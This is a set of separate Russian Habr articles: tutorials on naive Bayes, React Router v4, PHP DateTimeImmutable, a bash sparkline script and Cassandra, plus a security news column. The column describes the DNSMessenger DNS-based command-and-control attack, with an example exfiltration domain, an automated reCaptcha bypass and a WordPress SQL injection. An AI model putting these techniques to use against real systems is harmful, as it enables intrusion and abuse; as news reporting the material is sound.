Но это опять сложно. Здесь включаем «наивное» предположение о том, что переменные O зависят только от класса C, и не зависят друг от друга. Это сильно упрощение, но зачастую это работает. Числитель примет вид:
Финальная формула примет вид:
 (1)
Т.е. все что нужно сделать, это вычислить вероятности P( C ) и P(O|C). Вычисление этих параметров и называется тренировкой классификатора.
Код
---
Ниже — код на питоне. Содержит всего две функции: одна для тренировки (подсчета параметров формулы), другая для классификации (непосредственный расчет формулы).
```
from __future__ import division
from collections import defaultdict
from math import log
def train(samples):
classes, freq = defaultdict(lambda:0), defaultdict(lambda:0)
for feats, label in samples:
classes[label] += 1 # count classes frequencies
for feat in feats:
freq[label, feat] += 1 # count features frequencies
for label, feat in freq: # normalize features frequencies
freq[label, feat] /= classes[label]
for c in classes: # normalize classes frequencies
classes[c] /= len(samples)
return classes, freq # return P(C) and P(O|C)
def classify(classifier, feats):
classes, prob = classifier
return min(classes.keys(), # calculate argmin(-log(C|O))
key = lambda cl: -log(classes[cl]) + \
sum(-log(prob.get((cl,feat), 10**(-7))) for feat in feats))
```
В функции *train* первые пять строк производят подсчет количества классов C, а также частоту появления фич O и С в одном семпле. Вторая часть метода просто нормирует эти частоты. Таким образом на выходе получаются вероятности P© и P(O|C).
В функции *classify* происходит поиск наиболее вероятного класса. Единственное отличие от формулы (1) в том, что я заменяю произведение вероятностей на сумму логарифмов, взятых с отрицательным знаком, и вычисляю не argmax, а argmin. Переход к логарифмам — распространненный прием чтобы избежать слишком маленьких чисел, которые могли бы получится при произведении вероятностей.
Число 10(^-7), которое подставляется в логарифм, это способ избежать нуля в аргументе логарифма (т.к. он будет иначе он будет неопределен).
Чтобы натренировать классификатор возьмем размеченный список мужских и женских имен и воспользуемся этим кодом:
```
def get_features(sample): return (sample[-1],) # get last letter
samples = (line.decode('utf-8').split() for line in open('names.txt'))
features = [(get_features(feat), label) for feat, label in samples]
classifier = train(features)
print 'gender: ', classify(classifier, get_features(u'Аглафья'))
```
Файл 'names.txt' можно скачать [здесь](http://dl.dropbox.com/u/27900527/names.txt).
В качестве фич я выбрал последнюю букву имени (см функцию get\_features). Работает неплохо, но для рабочего варианта лучше использовать схему посложнее. К примеру, выбрать первую букву имени и две последних. К примеру, вот так:
```
def get_features(sample): return (
'll: %s' % sample[-1], # get last letter
'fl: %s' % sample[0], # get first letter
'sl: %s' % sample[1], # get second letter
)
```
Алгоритм можно использовать для произвольного числа классов. К примеру, можно попробовать построить классификатор текстов по эмоциональной окраске.
Тесты
-----
Я протестировал классификатор на части исходного корпуса с именами. Точность составила 96%. Это не блестящий результат, но для многих задач вполне достаточно. | https://habr.com/ru/post/120194/ | null | ru | null |
# Простой туториал React Router v4
[Автор @pshrmn](https://medium.com/@pshrmn) ⬝ [Оригинальная статья](https://medium.com/@pshrmn/a-simple-react-router-v4-tutorial-7f23ff27adf) ⬝ Время чтения: **10 минут**
[React Router v4](https://reacttraining.com/react-router/) — это переработанный вариант популярного React дополнения. Зависимые от платформы конфигурации роутов из прошлой версии были удалены и теперь всё является простыми компонентами.
Этот туториал покрывает всё что вам нужно для создания веб-сайтов с React Router. Мы будем создавать сайт для локальной спортивной команды.
Хочешь посмотреть демку?
**Установка**
-------------
React Router v4 был разбит на 3 пакета:
```
react-router
```
```
router-dom
```
```
react-router-native
```
`react-router` предоставляет базовые функции и компоненты для работы в двух окружениях(Браузере и react-native)
Мы будем создавать сайт который будет отображаться в браузере, поэтому нам следует использовать `react-router-dom`. `react-router-dom` экспортирует из `react-router` все функции поэтому нам нужно установить только `react-router-dom`.
```
npm install --save react-router-dom
```
**Router**
----------
При старте проекта вам нужно определить какой тип роутера использовать. Для браузерных проектов есть `BrowserRouter` и `HashRouter` компоненты. `BrowserRouter` — следует использовать когда вы обрабатываете на сервере динамические запросы, а `HashRouter` используйте когда у вас статический веб сайт.
Обычно предпочтительнее использовать `BrowserRouter`, но если ваш сайт расположен на статическом сервере(*от перев. как github pages*), то использовать `HashRouter` это хорошее решение проблемы.
Наш проект предполагает использование бекенда поэтому мы будем использовать `BrowserRouter`.
### **История — History**
Каждый Router создает объект `history` который хранит путь к текущему location[1] и перерисовывает интерфейс сайта когда происходят какие то изменения пути.
Остальные функции предоставляемые в React Router полагаются на доступность объекта `history` через context, поэтому они должны рендериться внутри компонента Router.
**Заметка:** Компоненты React Router не имеющие в качестве предка компонент Router не будут работать, так как не будет доступен context.
### **Рендеринг Router**
Компонент Router ожидает только один элемент в качестве дочернего. Что бы работать в рамках этого условия, удобно создать компонент который рендерить всё ваше приложение(это так же важно для серверного рендеринга).
```
import { BrowserRouter } from 'react-router-dom';
ReactDOM.render((
), document.getElementById('root'))
```
**App компонент**
-----------------
Наше приложение начинается с компонента который мы разделим на две части. который будет содержать навигационные ссылки и который будет содержать контент роутов.
```
// Этот компонент будет отрендерен с помощью нашего
const App = () => (
)
```
**Routes**
----------
компонент это главный строительный блок React Router'а. В том случае если вам нужно рендерить элемент в зависимости от pathname URL'ов, то следует использовать компонент
### **Path — путь**
принимает `path` в виде prop который описывает определенный путь и сопоставляется с location.pathname.
В примере выше сопоставляет location.pathname который начинается с /roster[2]. Когда текущий location.pathname сопоставляется положительно с prop path то компонент будет отрендерен, а если мы не можем их сопоставить, то Route ничего не рендерит[3].
```
// Когда location.pathname это '/', prop path не совпадает
// Когда location.pathname это '/roster' или '/roster/2', prop path совпадает
// Если установлен exact prop. Совпадает только строгое сравнение '/roster', но не
// '/roster/2'
```
**Заметка:** Когда речь идет о пути React Router думает только о пути без домена. Это значит, что в адресе:
```
http://www.example.com/my-projects/one?extra=false
```
React Router будет видеть только `/my-projects/one`
### **Сопоставление пути**
npm пакет `path-to-regexp` компилирует prop path в регулярное выражение и сопоставляет его против location.pathname. Строки path имеют более сложные опции форматирования чем объясняются здесь. Вы можете почитать [документацию](https://github.com/pillarjs/path-to-regexp).
Когда пути сопоставляются создается объект `match` который содержит свойства:
* **url** — сопоставляемая часть текущего location.pathname
* **path** — путь в компоненте Route
* **isExact** — path в Route === location.pathname
* **params** — объект содержит значения из path которые возвращает модуль path-to-regexp
**Заметка:** Можете поиграться с [тестером роутов](https://pshrmn.github.io/route-tester/#/) и посмотреть как создается объект match.
**Заметка:** path в Route должен быть абсолютным[4].
### **Создание наших роутов**
Компонент `Route` может быть в любом месте в роутере, но иногда нужно определять, что рендерить в одно и тоже место. В таком случае следует использовать компонент группирования Route'ов — . итеративно проходит по дочерним компонентам и рендерит только первый который подходит под location.pathname.
У нашего веб-сайта пути которые мы хотим сопоставлять такие:
* **/** — Главная страница
* **/roster** — Страница команд
* **/roster/:number** — Страница профиля игрока по номеру
* **/schedule** — Расписание игр команды
По порядку сопоставления путей в нашем приложении, все что нам нужно сделать это создать компонент Route с prop path который мы хотим сопоставить.
```
{/\* Оба /roster и /roster/:number начинаются с /roster \*/}
```
### **Что делает рендер компонента Route?**
У Route есть 3 props'a которые описывают каким образом выполнить рендер сопоставляя prop path с location.pathname и только один из prop должен быть представлен в Route:
* **component** — React компонент. Когда роут удовлетворяется сопоставление в path, то он возвращает переданный component (используя функцию React.createElement).
* **render** — функция которая должна вернуть элемент React. Будет вызвана когда удовлетворится сопоставление в path. Render довольно похож на component, но используется для inline рендеринга и подстановки необходимых для элемента props[5].
* **children** — в отличие от предыдущих двух props children будет всегда отображаться независимо от того сопоставляется ли path или нет.
```
const extraProps = { color: 'red' }
(
)}/>
(
props.match
?
:
)}/>
```
В типичных ситуациях следует использовать component или render. Children prop может быть использован, но лучше ничего не делать если path не совпадает с location.pathname.
Элементу отрендеренному `Route` будет передано несколько props. `match` — объект сопоставления `path` с `location.pathname`, `location` объект[6] и `history` объект(созданный самим роутом)[7].
**Main**
--------
Сейчас мы опишем основную структуру роутера. Нам просто нужно отобразить наши маршруты. Для нашего приложения мы будем использовать компонент и компонент внутри нашего компонента который поместит сгенерированный HTML удовлетворяющий сопоставлению `path` внутри.
DOM узла(node)
```
import { Switch, Route } from 'react-router-dom'
const Main = () => (
)
```
**Заметка:** `Route` для главной страницы содержит prop `exact`, благодаря которому пути сравниваются строго.
### **Унаследованные роуты**
Профиль игрока `/roster/:number` не включен в . Вместо этого он будет рендериться компонентом который рендериться всякий раз когда путь начинается с `/roster`.
В компоненте `Roster` мы создадим компоненты для двух путей:
* **/roster** — с prop exact
* **/roster/:number** — этот route использует параметр пути, который будет отловлен после /roster
```
const Roster = () => (
)
```
Может быть полезным группирование роутов которые имеют общие компоненты, что позволяет упростить родительские маршруты и позволяет отображать контент который относиться к нескольким роутам.
К примеру может быть отрендерен с заголовком который будет отображаться во всех роутах которые начинаются с `/roster`.
```
const Roster = () => (
This is a roster page!
----------------------
)
```
### **Параметры в path**
Иногда нам требуется использовать переменные для получения какой либо информации. К примеру, роут профиля игрока, где нам требуется получить номер игрока. Мы сделали это добавив параметр в prop `path`.
`:number` часть строки в `/roster/:number` означает, что часть `path` после `/roster/` будет получена в виде переменной и сохранится в `match.params.number`. К примеру путь `/roster/6` сгенерирует следующий объект с параметрами:
```
{ number: '6' // Любое переданное значение интерпретируется как строка}
```
Компонент будет использовать `props.match.params` для получения нужной информации которую следует отрендерить.
```
// API возращает информацию об игроке в виде объекта
import PlayerAPI from './PlayerAPI'
const Player = (props) => {
const player = PlayerAPI.get(
parseInt(props.match.params.number, 10)
)
if (!player) {
return Sorry, but the player was not found
}
return (
{player.name} (#{player.number})
================================
{player.position}
-----------------
)
```
**Заметка:** Вы можете больше изучить о параметрах в путях в пакете [path-to-regexp](https://github.com/pillarjs/path-to-regexp#parameters)
Наряду с компонентом наш веб-сайт использует и другие как , и .
```
const FullRoster = () => (
{
PlayerAPI.all().map(p => (
* {p.name}
))
}
)
const Schedule = () => (
* 6/5 @ Спартак
* 6/8 vs Зенит
* 6/14 @ Рубин
)
const Home = () => (
Добро пожаловать на наш сайт!
=============================
)
```
**Ссылки**
----------
Последний штрих, наш сайт нуждается в навигации между страницами. Если мы создадим обычные ссылки то страница будет перезагружаться. React Router решает эту проблему компонентом который предотвращает перезагрузку. Когда мы кликаем на он обновляет URL и React Router рендерит нужный компонент без обновления страницы.
```
import { Link } from 'react-router-dom'
const Header = () => (
* Home
* Roster
* Schedule
)
```
использует prop `to` для описания URL куда следует перейти. Prop to может быть строкой или location объектом (который состоит из pathname, search, hash, state свойств). Если это строка то она конвертируется в location объект.
```
Player #7
```
**Заметка:** Пути в компонентах должны быть абсолютными[4].
### **Работающий пример**
Весь код нашего веб сайта доступен по [этому адресу](https://codepen.io/pshrmn/pen/YZXZqM) на codepen.
### **Route готов!**
Надеюсь теперь вы готовы погрузиться в изучение деталей маршрутизации веб приложений.
Мы использовали самые основные компоненты которые вам понадобятся при создании собственных веб приложений (`, , and` ), но есть еще несколько компонентов и props которые здесь не рассмотрены. К счастью у React Router есть прекрасная [документация](https://reacttraining.com/react-router/web/guides/quick-start) где вы можете найти более подробное объяснение компонентов и props. Так же в документации предоставляются работающие примеры с исходным кодом.
### **Пояснения**
[1] — Объект location описывает разные части URL'a
```
// стандартный location
{ pathname: '/', search: '', hash: '', key: 'abc123' state: {} }
```
[2] — Вы можете использовать компонент без path. Это полезно для передачи методов и переменных которые храняться в `context`.
[3] — Если вы используете prop `children` то route будет отрендерен даже если path и location.pathname не совпадают.
[4] — Сейчас ведется работа над относительными путями в и . Относительные более сложные чем могут показаться, они должны быть разрешены используя свой родительский объект `match`, а не текущий URL.
[5] — Это stateless компонент. Внутри есть большая разница между `render` и `component`. Component использует `React.createElement` для создания компонента, в то время как `render` используется как функция. Если бы вы определили inline функцию и передали через нее `props` то это было бы намного медленнее чем с использованием функции `render`.
```
// React.createElement(props.component)
}/>
// props.render()
```
[6] — Компоненты `и` могут оба использовать prop location. Это позволяет сопоставлять их с path, который фактически отличается от текущего URL'а.
[7] — Так же передают `staticContext`, но он полезен только при рендере на сервере. | https://habr.com/ru/post/329996/ | null | ru | null |
# Security Week 10: удаленное управление по DNS, как Google капчу свою обманул, дыра в плагине к Wordpress
Не перевелись еще виртуозы на темной стороне. Какие-то ушлые ребята нашли очередное вредоносное применение многострадальному протоколу DNS. Помните, лет десять назад вошли в моду DDoS-атаки типа DNS Amplification? Так они до сих пор в тренде.
Еще тогда ддосеры додумались использовать замечательные поля TXT в записи DNS. Туда ведь можно поместить произвольные данные, потому организаторы атак регистрировали домен с рандомным именем, а TXT под завязку забивали мусором (благо, в поле влезало до 4 Кб – 16 строк по 256 байт). Запрос — 64 байт, ответ — 3,8 Кб (чтобы уместиться в UDP), жертва получает трафик по курсу 1:60, и ее канал, а то и канал ее провайдера, говорит «ква» уже от нескольких десятков ботов.
Словом, история совсем не новая. Но с тех самых пор поля TXT напрашивались на более эффективное использование. И они его получили ([новость](https://threatpost.com/new-fileless-attack-using-dns-queries-to-carry-out-powershell-commands/124078/)) – Talos Intelligence описала интересную атаку DNSMessenger, в которой по протоколу DNS организован двунаправленный канал для рулёжки системой.
Авторы DNSMessenger очень-очень хотели, чтобы их деятельность осталась вне поля зрения исследователей. И какое-то время это даже получалось: атака ведь обходится без записи файлов на жесткий диск, помимо документа со скриптом первой стадии атаки, а все коммуникации идут по DNS, который обычно не контролируется.
 Начинается все с VBA-скрипта, загруженного в документ Microsoft Word, который жертва атаки получает по почте, а, открыв, видит успокаивающую надпись, что контент безопасен, так как защищен беспредельной мощью компании McAfee. Ну, а раз безопасен, то жмите на enable content, дабы запустить скрипт, который сделает вам хорошо.
А тот и рад стараться. Определяет версию PowerShell, установленную в системе: и если это 3.0, которая хорошо умеет работать с ADS (альтернативными потоками NTFS, где хранится скрытая информация о файлах), то сохраняет код скрипта следующей стадии атаки в ADS. Если же PowerShell старее, то скрипт пишет код в реестр. Ну и под конец задает планировщику задач запуск этого кода после получаса неактивности системы.
 Далее уже скрипт следующей стадии организует передачу сообщений между злоумышленником и командным процессором системы жертвы. Стучится на один из C&C-серверов с невинным на вид DNS-запросом, а тот ему отправляет DNS-ответ, где в поле TXT содержится ввод для командной строки.
Консольный вывод вредоносный скрипт отправляет туда же, на сервер, под видом URL. В приведенном в исследовании примере домен `708001701462b7fae70d0a28432920436f70797269676874.
20313938352d32303031204d696372.6f736f667420436f72702e0d0a0d0a.433a5c54454d503e.cspg.pw` декодируется в строку `\r\n(C) Copyright 1985-2001 Microsoft Corp.\r\n\r\nC:\\TEMP>`.
**Google способен обмануть собственную капчу (уже нет)**
[Новость](https://threatpost.com/google-recaptcha-bypass-technique-uses-googles-own-tools/124006/). [Исследование](https://east-ee.com/2017/02/28/rebreakcaptcha-breaking-googles-recaptcha-v2-using-google/).
Если Google всемогущ, может ли он создать капчу, которую не распознает сам? Никто не знает, но Google постоянно пытается. В этот раз некий анонимный исследователь, назвавшийся Eeast-Ee Security, стравил ReCaptcha 2.0 и Google Speech Recognition. Идея лежала на поверхности: если после клика, удостоверяющего в том, что ты не робот, система предлагает разгадать загадку, надо просто перезагружать капчу, пока не попадется вариант с распознаванием сказанных вслух цифр. Причем не нужно даже заниматься захватом звука, аудиозапись можно просто скачать.
Дальше преобразуем ее в wav, скармливаем Google Speech Recognition через его собственный API, и копипастим результат распознавания обратно. Простейшая атака, прекрасно автоматизируемая, что автор и [проделал](https://github.com/eastee/rebreakcaptcha). Надо сказать, что подобный обход капчи пытались реализовать еще [пять лет назад](https://arstechnica.com/security/2012/05/google-recaptcha-brought-to-its-knees/), но в тот раз исследователи наколхозили собственную систему распознавания речи из хеш-функции, нейросети и машин лёрнинга, и это был конкретно ручной метод. Сейчас же кусок кода на Python проделывает это самостоятельно.
 На бумаге все вышло гладко, но как только весть о хитром самообмане Google пошла по сообществу, многие кинулись испытывать предоставленный код, и капча, обнаружив множественные попытки автоматического распознавания, натурально начала защищаться. То цифр больше подсунет, то шума добавит, то попросит несколько раз подряд цифры распознать.
Автор поначалу отвечал, что проблема в IP-адресе источника, мол, Google его подозрительным считает, но вскоре признал, что капча стремительно усложняется. Уже через три дня после публикации эксплойта метод перестал работать совсем. Итого в борьбе Google против Google в очередной раз победил Google. Но унывать рано – мы верим, что Google еще нанесет ответный удар.
**Более миллиона сайтов на Wordpress используют дырявый плагин**
[Новость](https://threatpost.com/million-plus-wordpress-sites-exposed-by-vulnerable-plugin/123983/). [Исследование](https://blog.sucuri.net/2017/02/sql-injection-vulnerability-nextgen-gallery-wordpress.html).
Только не говорите, что новости про дыры в Wordpress и его плагины всем давно надоели! Сам пишу, стиснув зубы. Но знаете ли вы, сколько сейчас в интернете сайтов на этой CMS? И я не знаю, но год назад было 16 миллионов! Поэтому каждая дыра в ней отзывается острой болью в бубнах огромной толпы вебмастеров. Важная тема, нельзя смолчать.
В этот раз среди потенциальных потерпевших пользователи плагина NextGen Gallery. Уязвимость неслабая – SQL-инъекция, которая позволяет (внимание!) «неаутентифицированному пользователю воровать данные из базы сайта, включая важные данные пользователей».
Авторы популярного плагина нарушили золотое правило «никогда не доверяй входным данным, вдруг там злонамеренный SQL-запрос». В общем, если у вас есть сайты на Wordpress – вы знаете, что делать. Все, как обычно.
### Древности
«MTLI-830»
Резидентный очень опасный вирус. Стандартно поражает .COM-файлы при их запуске. В пятницу через некоторое время после запуска начинает уничтожать файлы вместо их запуска. Содержит текст: «Hello! MLTI!», «Eddie die somewhere in time! This programm was written in the city of Prostokwashino © 1990 RED DIAVOLYATA».
*Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 76.*
***Disclaimer:** Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет.* | https://habr.com/ru/post/323652/ | null | ru | null |
# Перестаньте использовать DateTime
*Специально для студентов курса [«Backend разработчик на PHP»](https://otus.pw/M3aF/) подготовили перевод интересной статьи о сайд-эффекте популярного инструмента.*
---
Работа с датами и временем в PHP порой раздражает, поскольку приводит к неожиданным багам в коде:
```
$startedAt = new DateTime('2019-06-30 10:00:00');
$finishedAt = $startedAt->add(new DateInterval('PT3M'));
var_dump($startedAt->format('Y-m-d H:i:s')); //2019-06-30 10:03:00
var_dump($finishedAt->format('Y-m-d H:i:s')); //2019-06-30 10:03:00
```
Обе функции `$startdate` и `$finishdate` спешат на три минуты, потому как такие методы, как `add ()`, `sub()` или `modify()` также изменяют объект DateTime, для которого они вызываются, прежде чем вернуть его. В приведенном выше примере, конечно же, показано нежелательное поведение.
Мы можем исправить эту ошибку, скопировав объект, на который происходит ссылка, прежде чем взаимодействовать с ним, например:
```
$startedAt = new DateTime('2019-06-30 10:00:00');
$finishedAt = clone $startedAt;
$finishedAt->add(new DateInterval('PT3M'));
```
Каждый раз, когда я сталкиваюсь с клоном в коде на PHP, это пахнет, как хак чьей-то неудачной архитектуры кода. В данном случае мы использовали клонирование, чтобы избежать изменения поведения, но в то же время код стал некрасивым и приобрел много ненужного шума.
В качестве альтернативы, проблему можно решить преобразованием исходного `DateTime` экземпляра в `DateTimeImmutable`:
```
$startedAt = new DateTime('2019-06-30 10:00:00');
$finishedAt = DateTimeImmutable::createFromMutable($startedAt)->add(new DateInterval('PT3M'));
```
Почему же с самого начала не использовать `DateTimeImmutable`?
### Бескомпромиссное использование DateTimeImmutable
Вместо того, чтобы вручную применять защитные методы для предотвращения неожиданных изменений при передаче объектов даты/времени, используйте `DateTimeImmutable`, который инкапсулирует методы, делая ваш код более надежным.
```
$startedAt = new DateTimeImmutable('2019-06-30 10:00:00');
$finishedAt = $startedAt->add(new DateInterval('PT3M'));
var_dump($startedAt->format('Y-m-d H:i:s')); //2019-06-30 10:00:00
var_dump($finishedAt->format('Y-m-d H:i:s')); //2019-06-30 10:03:00
```
В большинстве случаев понятие даты рассматривается как значение, мы сравниваем даты по их значениям, и когда мы изменяем дату, она становится уже другой датой. Все это прекрасно коррелирует с понятием [Value Object](https://www.martinfowler.com/bliki/ValueObject.html), а одной из важных характеристик объектов-значений является то, что они неизменяемы.
### Подробный стиль написания кода
Неизменяемость заставляет вас явно переназначать объект `DateTimeImmutable` каждый раз, когда вы взаимодействуете с ним, поскольку он никогда не меняет свое значение, вместо этого возвращая копию. После многих лет работы с DateTime и из-за того, что изменяемость является значением по умолчанию во многих императивных языках программирования, трудно избавиться от привычки ее использовать и соответствовать новому стилю написания кода, который продвигает переназначение:
```
$this->expiresAt = $this->expiresAt->modify('+1 week');
```
Инструменты статистического анализа, такие как *PHPStan* и [одно из его расширений](https://github.com/Slamdunk/phpstan-extensions#rules), могут предупреждать нас, в случае если мы опускаем назначение и неправильно используем `DateTimeImmutable`.
Однако такой когнитивный уклон в сторону изменчивости подавляется, когда мы выполняем арифметические операции над значениями примитивов, например: `$a + 3;`. Само по себе это воспринимается как бессмысленное утверждение, которому явно не хватает переназначения: `$a = $a + 3;` или `$A += 3;`. Было бы классно использовать что-то подобное в случае с объектами-значениями, не так ли?
Некоторые языки программирования имеют синтаксический сахар, называемый перегрузкой [операторов](https://en.wikipedia.org/wiki/Operator_overloading), который позволяет реализовывать операторы в пользовательских типах и классах, чтобы они вели себя также, как и примитивные типы данных. Я был бы не против, если бы PHP позаимствовал этот прием из какого-нибудь другого языка программирования, и мы могли бы писать следующим образом:
```
$this->expiresAt += '1 week';
```
### Одноразовые расчеты
Некоторые люди утверждают, что с точки зрения производительности лучше использовать `DateTime`, поскольку вычисления выполняются в пределах одной области выполнения. Это допустимо, однако если вам не нужно выполнять сотни операций, и вы помните о том, что ссылки на старые объекты `DateTimeImmutable` будут собраны сборщиком мусора, в большинстве случаев на практике потребление памяти не будет проблемой.
### Библиотеки Date/time
[Carbon](https://carbon.nesbot.com/) – это крайне популярная библиотека, которая расширяет Date/Time API в PHP, добавляя богатый набор функций. Точнее говоря, она расширяет API изменяемого класса `DateTime`, использование которого идет вразрез с темой этой статьи.
Поэтому если вам нравится работать с Carbon, но вы предпочитаете неизменяемость, я предлагаю вам ознакомиться с [Chronos](http://book.cakephp.org/chronos). Это standalone библиотека, которая изначально основывалась на Carbon, особенное внимание уделяя предоставлению неизменяемых объектов даты/времени по умолчанию, однако в своем составе она имеет и изменяемые варианты на случай необходимости.
> *Отредактировано (05/07/2019): Оказалось, что у Carbon есть неизменяемый вариант date/time, что является большим плюсом. Тем не менее, причина, по которой я отдаю предпочтение Chronos, заключается в том, что в отличие от Carbon, он поощряет и способствует неизменяемости по умолчанию, как в коде, так и в документации, и это является решающим факторов в контексте данной статьи.*
### Последняя мысль
`DateTimeImmutable` был впервые представлен еще в древнем PHP 5.5, но к моему удивлению, многие разработчики открывают его для себя только сейчас. Используйте `DateTimeImmutable` по умолчанию, когда это возможно, но имейте ввиду некоторые компромиссы, о которых я говорил и которые я считаю скорее делом привычки и сдвигом в образе мышления.
На этом все. По устоявшейся традиции ждем ваши комментарии, друзья. | https://habr.com/ru/post/464253/ | null | ru | null |
# Bash-скрипт для искрографиков
[Искрографик](http://ru.wikipedia.org/wiki/Искрографик) (англ. sparkline) — это термин, который придумал Эдвард Тафти для обозначения миниатюрных (word-sized), но информационно-плотных графиков. Они показывают общую картину там, где нет места для размещения нормальных графиков с осями координат. Особенно полезными могут быть в таких областях как финансы и трейдинг, спортивные события, научный и медицинский анализ, системное администрирование.
Зак Холман (Zach Holman) из Github написал shell-скрипт [Spark](https://github.com/holman/spark), который строит инфографику простой командой `spark` прямо из шелла (достаточно добавить скрипт куда-нибудь в `$PATH`).
Spark обрабатывает любой ряд чисел, разделённых пробелами запятыми и т.д. Вы можете дать ему цифры прямо из командной строки.
```
> spark 0 30 55 80 33 150
▁▂▃▅▂▇
```
Или указать любой источник данных. Например, вот искрографик землетрясений с магнитудой более 1,0 за последние 24 часа с официального сайта.
```
› curl http://earthquake.usgs.gov/earthquakes/catalogs/eqs1day-M1.txt --silent |
sed '1d' |
cut -d, -f9 |
tr "\n" ',' |
sed 's/ //g' |
spark
▅▆▂▃▂▂▂▅▂▂▅▇▂▂▂▃▆▆▆▅▃▂▂▂▁▂▂▆▁▃▂▂▂▂▃▂▆▂▂▂▁▂▂▃▂▂▃
▂▂▃▂▂▁▂▂▅▂▂▆▆▅▃▆
```
Другие примеры. Проcмотр количества коммитов в репозиторий на github, по автору.
```
› git shortlog -s |
cut -f1 |
tr "\n" ',' |
sed 's/ //g' |
spark
▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▃▁▁▁▁▁▁▁▁▂▁▁▅▁▂▁▁▁▂▁▁▁▁▁▁▁▁▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁
```
Визуализация кода. Количество знаков в каждой строчке самого скрипта `spark`, без учёта пустых строчек.
```
› awk '{ print length($0) }' spark |
grep -Ev 0 |
tr "\n" ',' |
spark
▁▁▁▁▅▁▇▁▁▅▁▁▁▁▁▂▂▁▃▃▁▁▃▁▃▁▂▁▁▂▂▅▂▃▂▃▃▁▆▃▃▃▁▇▁▁▂▂▂▇▅▁▂▂▁▇▁▃▁▇
▁▂▁▇▁▁▆▂▁▇▁▂▁▁▂▅▁▂▁▆▇▇▂▁▂▁▁▁▂▂▁▅▁▂▁▁▃▁▃▁▁▁▃▂▂▂▁▁▅▂▁▁▁▁▂▂▁▁▁▂▂
```
Другие интересные примеры использования `spark` см. [здесь](https://github.com/holman/spark/wiki/Wicked-Cool-Usage).
[Порт на Python](https://github.com/kennethreitz/spark.py)
[Порт на Си](http://git.zx2c4.com/spark/tree/spark.c) | https://habr.com/ru/post/132779/ | null | ru | null |
# Cassandra. Как не умереть, если знаешь только Oracle
Привет, Хабр.
Меня зовут Миша Бутримов, я хотел бы хотел немного рассказать про Cassandra. Мой рассказ будет полезен тем, кто никогда не сталкивался с NoSQL-базами, — у нее есть очень много особенностей реализации и подводных камней, про которые нужно знать. И если кроме Oracle или любой другой реляционной базы вы ничего не видели, эти вещи спасут вам жизнь.
Чем хороша Cassandra? Это NoSQL-база данных, cпроектированная без единой точки отказа, которая хорошо масштабируется. Если вам нужно добавить пару терабайт для какой-нибудь базы, вы просто добавляете ноды в кольцо. Расширить ее на еще один дата-центр? Добавляете ноды в кластер. Увеличить обрабатываемый RPS? Добавляете ноды в кластер. В обратную сторону тоже работает.
[](https://habr.com/ru/company/qiwi/blog/486800/)
В чем еще она хороша? В том, чтобы обрабатывать много запросов. Но много — это сколько? 10, 20, 30, 40 тысяч запросов в секунду — это немного. 100 тысяч запросов в секунду на запись — тоже. Есть компании, которые говорили, что они держат 2 млн. запросов в секунду. Вот им, наверное, придется поверить.
И в принципе у Cassandra есть одно большое отличие от реляционных данных — она вообще на них не похожа. И об этом очень важно помнить.
Не все, что выглядит одинаково, работает одинаково
--------------------------------------------------
Как-то ко мне пришел коллега и спросил: «Вот СQL Cassandra query language, и в нем есть select statement, в нем есть where, в нем есть and. Я пишу буквы, и не работает. Почему?». Если относиться к Cassandra как к реляционной базе данных, то это идеальный способ закончить жизнь жестоким самоубийством. И я не пропагандирую, это запрещено в России. Вы просто спроектируете что-нибудь неправильно.
Например, к нам приходит заказчик и говорит: «Давайте построим базу данных для сериалов, или базу данных для справочника рецептов. У нас там будут блюда с продуктами или список сериалов и актеров в нем». Мы говорим радостно: «Давайте!». Это два байта переслать, пара табличек и все готово, все будет работать очень быстро, надежно. И все прекрасно, пока заказчики не приходят и не говорят, что домохозяйки решают еще и обратную задачу: у них есть список продуктов, и они хотят узнать, какое блюдо они хотят приготовить. Вы мертвы.
Все потому, что Cassandra — гибридная база данных: она одновременно и key value, и хранит данные в широких столбцах. Если говорить на языке Java или Kotlin, это можно было бы описать вот так:
`Map>`
То есть мапа, внутри которой лежит еще и отсортированная мапа. Первым ключом к этой мапе является Row key или Partition key — ключ партиционирования. Второй ключ, который является ключом к уже отсортированной мапе, это Clustering key.
Для иллюстрации распределенности базы данных нарисуем три ноды. Теперь нужно понять, как разложить данные на ноды. Потому что если мы будем пихать все в одну (их, кстати, может быть тысяча, две тысячи, пять — сколько угодно), это не очень-то про распределенность. Поэтому нам нужна математическая функция, которая будет возвращать число. Просто число, длинный int, который будет попадать в какой-то диапазон. И у нас одна нода будет отвечать за один диапазон, вторая — за второй, n-ная — за n-ый.
Это число берется с помощью хеш-функции, которая применяется как раз к тому, что мы называем Partition key. Это тот столбец, который указывается в директиве Primary key, и это тот столбец, который будет первым и самым основным ключом мапы. Он определяет, на какую ноду какие данные попадут. Таблица создается в Cassandra почти с таким же синтаксисом, как в SQL:
```
CREATE TABLE users (
user_id uu id,
name text,
year int,
salary float,
PRIMARY KEY(user_id)
)
```
Primary key в данном случае состоит из одной колонки, и она же является ключом партиционирования.
Как у нас лягут пользователи? Часть попадет на одну ноду, часть — на другую, и часть — на третью. Получается обыкновенная хэш-таблица, она же map, она же в Python — словарь, она же — простая Key value-структура, из которой мы можем читать все значения, читать и писать по ключу.
Select: когда allow filtering превращается в full scan, или как не надо делать
------------------------------------------------------------------------------
Давайте напишем какой-нибудь select statement: `select * from users where, userid =` . Получается вроде бы как в Oracle: пишем select, указываем условия и все работает, пользователи достаются. Но если выбрать, например, пользователя с определенным годом рождения, Cassandra ругается, что она не может выполнить запрос. Потому что она вообще ничего не знает про то, как у нас распределяются данные о годе рождения — у нее в качестве ключа указана только одна колонка. Тогда она говорит: «Хорошо, я могу по-прежнему выполнить этот запрос. Добавьте allow filtering». Мы добавляем директиву, все работает. И в этот момент происходит страшное.
Когда мы гоняем на тестовых данных, то все прекрасно. А когда вы выполняем запрос в продакшене, где у нас, к примеру, 4 миллиона записей, то у нас все не очень хорошо. Потому что allow filtering — это директива, которая позволяет Cassandra собрать все данные из этой таблицы со всех нод, всех дата-центров (если их много в этом кластере), и только потом уже отфильтровать. Это аналог Full Scan, и вряд ли от него кто-то в восторге.
